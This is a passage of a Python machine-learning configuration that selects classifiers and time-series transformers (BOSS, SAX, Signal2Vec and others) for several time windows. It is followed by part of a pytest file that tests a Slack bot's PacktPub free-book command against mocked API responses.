TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False) ] }, PAA : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=1000), ExtraTreesClassifier(n_jobs=-1, n_estimators=500), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), ExtraTreesClassifier(n_jobs=-1, n_estimators=200) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True) ] }, DFT : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=500), RandomForestClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True) ] }, SFA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100, 50, 100, 50), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False) ] }, SAX1D : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100, 50, 100, 50), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=20) ] }, SAX : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=100, supports_approximation=False), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=10, supports_approximation=False), TransformerFactory.build_tslearn_sax(n_paa_segments=10, n_sax_symbols=20, supports_approximation=False), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=20, supports_approximation=True) ] } } selected_models_1h = { BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_boss(word_size=4, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False) ] }, SIGNAL2VEC: { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=2), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=1) ] }, WEASEL : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100, 50, 100, 50), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False) ] }, PAA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam'), ExtraTreesClassifier(n_jobs=-1, n_estimators=100), MLPClassifier(hidden_layer_sizes=(100, 50, 100, 50), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True) ] }, DFT : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=100), RandomForestClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=500), ExtraTreesClassifier(n_jobs=-1, n_estimators=1000) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), ] }, SFA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 2000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False) ] }, SAX1D : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=200), RandomForestClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=200) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=50), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=50) ] }, SAX : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam'), ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=10, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=50, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=10, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=50, supports_approximation=True) ] } } selected_models_2h = { BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=2, n_bins=20, window_size=10, norm_mean=False, norm_std=False) ] }, SIGNAL2VEC: { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=5) ] }, WEASEL : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(100, 50, 100, 50), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_weasel(word_size=2, n_bins=4, norm_mean=False, norm_std=False) ] }, PAA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 50, 100, 50), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True) ] }, DFT : { CLF_MODELS : [ ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True) ] }, SFA : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=500), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), RandomForestClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=1000) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False) ] }, SAX1D : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=1000), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), RandomForestClassifier(n_jobs=-1, n_estimators=100) ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=20), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=20) ] }, SAX : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=50, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=10, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=50, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=50, supports_approximation=True) ] } } selected_models_24h = { BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_boss(word_size=4, n_bins=5, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=4, n_bins=5, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=4, n_bins=10, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_boss(word_size=4, n_bins=5, window_size=10, norm_mean=False, norm_std=False) ] }, SIGNAL2VEC: { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=4), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=5), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=2) ] }, WEASEL : { CLF_MODELS : [ ], TRANSFORMER_MODELS: [ ] }, PAA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True), TransformerFactory.build_tslearn_paa(n_paa_segments=10, supports_approximation=True) ] }, DFT : { CLF_MODELS : [ ExtraTreesClassifier(n_jobs=-1, n_estimators=100), ExtraTreesClassifier(n_jobs=-1, n_estimators=2000), ExtraTreesClassifier(n_jobs=-1, n_estimators=500), ExtraTreesClassifier(n_jobs=-1, n_estimators=200) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True), TransformerFactory.build_pyts_dft(n_coefs=10, norm_mean=False, norm_std=False, supports_approximation=True) ] }, SFA : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100,), learning_rate='adaptive', solver='adam'), ExtraTreesClassifier(n_jobs=-1, n_estimators=1000), RandomForestClassifier(n_jobs=-1, n_estimators=200), ExtraTreesClassifier(n_jobs=-1, n_estimators=100) ], TRANSFORMER_MODELS: [ TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False), TransformerFactory.build_pyts_sfa(n_coefs=10, n_bins=5, norm_mean=False, norm_std=False) ] }, SAX1D : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=10), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=20), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=50), TransformerFactory.build_tslearn_one_d_sax(n_paa_segments=50, n_sax_symbols=100) ] }, SAX : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(100, 100), learning_rate='adaptive', solver='adam'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam') ], TRANSFORMER_MODELS: [ TransformerFactory.build_tslearn_sax(n_paa_segments=50, n_sax_symbols=10, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=50, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=10, supports_approximation=True), TransformerFactory.build_tslearn_sax(n_paa_segments=20, n_sax_symbols=50, supports_approximation=True) ] } } model_selection_clf_list = [ MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(1000, 100), learning_rate='adaptive', solver='adam', activation='logistic'), MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam', activation='logistic') ] model_selection_transformers = [ TransformerFactory.build_pyts_boss(word_size=2, n_bins=5, window_size=10, norm_mean=False, norm_std=False), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=2), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=1), TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, transformer_type=TransformerType.transform) ] model_selection_mlknn = [MLkNN(k=1, s=1.0, ignore_first_neighbours=0), MLkNN(k=3, s=1.0, ignore_first_neighbours=0), MLkNN(k=10, s=1.0, ignore_first_neighbours=0), MLkNN(k=20, s=1.0, ignore_first_neighbours=0), MLkNN(k=1, s=0.5, ignore_first_neighbours=0), MLkNN(k=3, s=0.5, ignore_first_neighbours=0), MLkNN(k=10, s=0.5, ignore_first_neighbours=0), MLkNN(k=20, s=0.5, ignore_first_neighbours=0), MLkNN(k=1, s=0.7, ignore_first_neighbours=0), MLkNN(k=3, s=0.7, ignore_first_neighbours=0), MLkNN(k=10, s=0.7, ignore_first_neighbours=0), MLkNN(k=20, s=0.7, ignore_first_neighbours=0) ] model_selection_rakel = [ RakelD(MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam')), RakelD(MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), labelset_size=5), RakelD(MLPClassifier(hidden_layer_sizes=(100, 100), learning_rate='adaptive', solver='adam')), RakelD(MLPClassifier(hidden_layer_sizes=(100, 100), learning_rate='adaptive', solver='adam'), labelset_size=5), RakelD(MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam')), RakelD(MLPClassifier(hidden_layer_sizes=(2000, 100), learning_rate='adaptive', solver='adam'), labelset_size=5), RakelD(MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam')), RakelD(MLPClassifier(hidden_layer_sizes=(2000), learning_rate='adaptive', solver='adam'), labelset_size=5), RakelD(base_classifier=GaussianNB(), base_classifier_require_dense=[True, True], labelset_size=3), RakelD(base_classifier=GaussianNB(), base_classifier_require_dense=[True, True], labelset_size=5), RakelD(base_classifier=GaussianNB(), base_classifier_require_dense=[True, True], labelset_size=7) ] model_selection_wavelets = [ TransformerFactory.build_wavelet(), TransformerFactory.build_wavelet(drop_cA=True) ] model_selection_delay_embeddings = [ TransformerFactory.build_delay_embedding(delay_in_seconds=30, dimension=6), TransformerFactory.build_delay_embedding(delay_in_seconds=32, dimension=8), TransformerFactory.build_delay_embedding(delay_in_seconds=6, dimension=8), TransformerFactory.build_delay_embedding(delay_in_seconds=12, dimension=8) ] cv_signal2vec = [TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=1)] cv_signal2vec_clf = [MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic')] cv_boss_clf = [MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam')] cv_boss = [TransformerFactory.build_pyts_boss(word_size=2, n_bins=2, window_size=10, norm_mean=False, norm_std=False)] state_of_the_art = { SIGNAL2VEC : { CLF_MODELS : [MLPClassifier(hidden_layer_sizes=(1000,), learning_rate='adaptive', solver='adam', activation='logistic')], TRANSFORMER_MODELS: [TransformerFactory.build_signal2vec(SAVED_MODEL, PATH_SIGNAL2VEC, num_of_vectors=1)] }, WAVELETS : { CLF_MODELS : [MLkNN(ignore_first_neighbours=0, k=3, s=1.0), RakelD(MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), labelset_size=5)], TRANSFORMER_MODELS: [TransformerFactory.build_wavelet(), TransformerFactory.build_wavelet()] }, TIME_DELAY_EMBEDDING: { CLF_MODELS : [ MLkNN(ignore_first_neighbours=0, k=3, s=1.0), RakelD(MLPClassifier(hidden_layer_sizes=(100, 100, 100), learning_rate='adaptive', solver='adam'), labelset_size=5) ], TRANSFORMER_MODELS: [TransformerFactory.build_delay_embedding(delay_in_seconds=30, dimension=6), TransformerFactory.build_delay_embedding(delay_in_seconds=30, dimension=6) ] }, BOSS : { CLF_MODELS : [ MLPClassifier(hidden_layer_sizes=(2000, 100, 100), learning_rate='adaptive', solver='adam')], TRANSFORMER_MODELS: [TransformerFactory.build_pyts_boss(word_size=2, n_bins=4, window_size=10, norm_mean=False, norm_std=False)] } }

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tests/apps/info/packtpub_test.py

item4/yui

8628d0d54b94ada3cbe7d1b0f624063258bad10a

[ "MIT" ]

36

2017-06-12T01:09:46.000Z

2021-01-31T17:57:41.000Z

tests/apps/info/packtpub_test.py

item4/yui

8628d0d54b94ada3cbe7d1b0f624063258bad10a

[ "MIT" ]

145

2017-06-21T13:31:29.000Z

2021-06-20T01:01:30.000Z

tests/apps/info/packtpub_test.py

item4/yui

8628d0d54b94ada3cbe7d1b0f624063258bad10a

[ "MIT" ]

21

2017-07-24T15:53:19.000Z

2021-12-23T04:18:31.000Z

from freezegun import freeze_time import pytest from yui.apps.info.packtpub import PACKTPUB_URL from yui.apps.info.packtpub import auto_packtpub_dotd from yui.apps.info.packtpub import packtpub_dotd from yui.utils import json from yui.utils.datetime import datetime from ...util import FakeBot @pytest.mark.asyncio @freeze_time(datetime(2018, 10, 7)) async def test_no_packtpub_dotd(bot, response_mock): response_mock.get( 'https://services.packtpub.com/free-learning-v1/offers' '?dateFrom=2018-10-07T00:00:00.000Z&dateTo=2018-10-08T00:00:00.000Z', body=json.dumps({'data': []}), headers={'Content-Type': 'application/json'}, ) bot.add_channel('C1', 'general') bot.add_user('U1', 'item4') event = bot.create_message('C1', 'U1') await packtpub_dotd(bot, event) said = bot.call_queue.pop(0) assert said.method == 'chat.postMessage' assert said.data['channel'] == 'C1' assert said.data['text'] == '오늘은 PACKT Book의 무료책이 없는 것 같아요' @pytest.mark.asyncio @freeze_time(datetime(2018, 10, 7)) async def test_packtpub_dotd(bot, response_mock): product_id = '11223344' title = 'test book' image_url = 'test url' response_mock.get( 'https://services.packtpub.com/free-learning-v1/offers' '?dateFrom=2018-10-07T00:00:00.000Z&dateTo=2018-10-08T00:00:00.000Z', body=json.dumps({'data': [{'productId': product_id}]}), headers={'Content-Type': 'application/json'}, ) response_mock.get( f'https://static.packt-cdn.com/products/{product_id}/summary', body=json.dumps({'title': title, 'coverImage': image_url}), headers={'Content-Type': 'application/json'}, ) bot.add_channel('C1', 'general') bot.add_user('U1', 'item4') event = bot.create_message('C1', 'U1') await packtpub_dotd(bot, event) said = bot.call_queue.pop(0) assert said.method == 'chat.postMessage' assert said.data['channel'] == 'C1' assert said.data['text'] == '오늘자 PACKT Book의 무료책이에요!' attachments = said.data['attachments'] assert len(attachments) == 1 assert attachments[0]['fallback'] == f'{title} - {PACKTPUB_URL}' assert attachments[0]['title'] == title assert attachments[0]['title_link'] == PACKTPUB_URL assert attachments[0]['text'] == ( f'오늘의 Packt Book Deal of The Day: {title} - {PACKTPUB_URL}' ) assert attachments[0]['image_url'] == image_url @pytest.mark.asyncio @freeze_time(datetime(2018, 10, 7)) async def test_auto_packtpub_dotd(bot_config, response_mock): assert auto_packtpub_dotd.cron.spec == '5 9 * * *' product_id = '11223344' title = 'test book' image_url = 'test url' response_mock.get( 'https://services.packtpub.com/free-learning-v1/offers' '?dateFrom=2018-10-07T00:00:00.000Z&dateTo=2018-10-08T00:00:00.000Z', body=json.dumps({'data': [{'productId': product_id}]}), headers={'Content-Type': 'application/json'}, ) response_mock.get( 